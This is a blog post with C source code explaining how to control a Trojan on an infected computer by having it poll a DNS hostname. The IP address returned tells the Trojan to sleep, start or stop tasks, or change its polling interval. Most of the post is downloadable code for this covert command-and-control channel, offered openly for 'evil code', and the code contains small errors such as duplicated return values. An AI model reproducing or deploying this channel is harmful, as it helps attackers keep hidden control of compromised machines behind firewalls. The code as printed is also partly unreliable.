Manage your evil code with DNS
1. Introduction
This post provides an easy way to manage your software (evil or not) remotely, by using a simple DNS polling function.
Imagine that you have a small piece of code acting as an ethical Trojan, running somewhere on an (infected) computer connected behind several Firewalls and NAT devices, and that this computer is able the make DNS queries against Internet host-names (such as www.google.com). Why don’t use this ability to control your Trojan simply by switching the IP address of an Internet host-name ?
Example: Ask your Trojan to check the IP address of ctrl.mydomain.com on a regular basis (why not using a dynamic DNS hostname?). Based on the return IP address, run a sub routine of the Trojan.
- If IP = 127.0.0.1 , keep sleeping
- If IP = 127.0.1.1 , start something
- If IP = 127.0.1.2 , stop the thing
- If IP = 127.0.2.1 , start another thing
- If IP = 127.0.2.2 , stop the other thing
- If IP = 127.0.9.10 , change DNS polling frequency to 10 minutes
- If IP = 127.0.9.30 , change DNS polling frequency to 30 minutes
- If IP = 127.0.9.120 , change DNS polling frequency to 120 minutes
- …
2. Sample code
In the c code provided bellow, the IP addresses are defined this way:
#define IP_DO_NOTHING "127.0.0.1" // keep sleeping #define IP_START_CODE "127.0.1.1" // start something #define IP_STOP_CODE "127.0.1.2" // stop the thing #define IP_DNS_TIMER_10 "127.0.9.10" // change freq to 10 min #define IP_DNS_TIMER_30 "127.0.9.30" // ... 30 minutes #define IP_DNS_TIMER_120 "127.0.9.120 // ...
The DNS queries will be done with gethostbyname() and then checked against our predefined IP addresses.
// IP_DO_NOTHING if(strncmp(ip,IP_DO_NOTHING,strlen(IP_DO_NOTHING)) == 0) return RET_IP_DO_NOTHING; // IP_START_CODE if(strncmp(ip,IP_START_CODE,strlen(IP_START_CODE)) == 0) return RET_IP_START_CODE; ... return RET_IP_UNKNOWN; // IP Unknown
In order to make a polling function, see alarm() (this part is not present in the code provided below) . Example:
// Establish a handler for SIGALRM signals. signal (SIGALRM, process_control); // Set alarm alarm (dns_timer);
3. Download
Download dns.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <arpa/inet.h> #define IP_DO_NOTHING "127.0.0.1" // keep sleeping #define IP_START_CODE "127.0.1.1" // start something #define IP_STOP_CODE "127.0.1.2" // stop the thing #define IP_DNS_TIMER_10 "127.0.9.1" // change freq to 10 min #define IP_DNS_TIMER_30 "127.0.9.2" // ... 30 minutes #define IP_DNS_TIMER_120 "127.0.9.3" // ... // Function return values #define RET_IP_DO_NOTHING 1 #define RET_IP_UNKNOWN 2 #define RET_IP_START_CODE 101 #define RET_IP_STOP_CODE 102 #define RET_IP_DNS_TIMER_10 901 #define RET_IP_DNS_TIMER_30 902 #define RET_IP_DNS_TIMER_120 902 /*--------------------------*/ /* Resolv a hostname/IP */ /*--------------------------*/ char* dns_resolv(char* hostname){ struct hostent *hp; hp = gethostbyname(hostname); if (hp == NULL) { #ifdef DEBUG perror("gethostbyname() failed\n"); #endif return NULL; }else{ // Return first IP found if(hp -> h_addr_list[0] != NULL){ #ifdef DEBUG2 printf("dns_resolv(): IP: %s\n", (char*)inet_ntoa( *( struct in_addr*)( hp -> h_addr_list[0]))); #endif return (char*)inet_ntoa( *( struct in_addr*)( hp -> h_addr_list[0])); }else{ #ifdef DEBUG printf("No IP found\n"); #endif return NULL; } } return NULL; // Never reached } /*--------------------------------------------------------------------*/ /* Do a DNS polling. */ /* Return an 'action' id, based on the returned IP address (A record) */ /*--------------------------------------------------------------------*/ int poll_dns(char *hostname){ char ip[64]; bzero(ip,64); // Do the DNS query sprintf(ip,"%s", dns_resolv(hostname)); // Found ? if(ip[0]){ #ifdef DEBUG2 printf("IP found: %s\n",ip); #endif }else{ #ifdef DEBUG2 printf("IP NOT found !\n"); #endif return -1; } // Parse the IP address // IP_DO_NOTHING // -------------- if(strncmp(ip,IP_DO_NOTHING,strlen(IP_DO_NOTHING)) == 0) return RET_IP_DO_NOTHING; // IP_START_CODE // -------------- if(strncmp(ip,IP_START_CODE,strlen(IP_START_CODE)) == 0) return RET_IP_START_CODE; // IP_STOP_CODE // -------------- if(strncmp(ip,IP_STOP_CODE,strlen(IP_STOP_CODE)) == 0) return RET_IP_STOP_CODE; // IP_DNS_TIMER_10 // -------------- if(strncmp(ip,IP_DNS_TIMER_10,strlen(IP_DNS_TIMER_10)) == 0) return RET_IP_DNS_TIMER_10; // IP_DNS_TIMER_30 // -------------- if(strncmp(ip,IP_DNS_TIMER_30,strlen(IP_DNS_TIMER_10)) == 0) return RET_IP_DNS_TIMER_30; // IP_DNS_TIMER_120 // -------------- if(strncmp(ip,IP_DNS_TIMER_120,strlen(IP_DNS_TIMER_120)) == 0) return RET_IP_DNS_TIMER_120; return RET_IP_UNKNOWN; // unexpected IP. Maybe where we should try to connect ? } int main(){ printf("ret: %d\n", poll_dns("ctrl.mydomain.com")); return 0; }
Usage example:
root@linux$ gcc -o dns -DDEBUG -DDEBUG2 dns.c root@linux$ ./dns dns_resolv(): IP: 127.0.0.1 IP found: 127.0.0.1 ret: 1
4. Then end
Hope you enjoy.
© 2010 – 2014, foip. All rights reserved.
Comments are closed.
That’s a simple but effective idea – should be more effective than basing on TXT or similar records to be returned.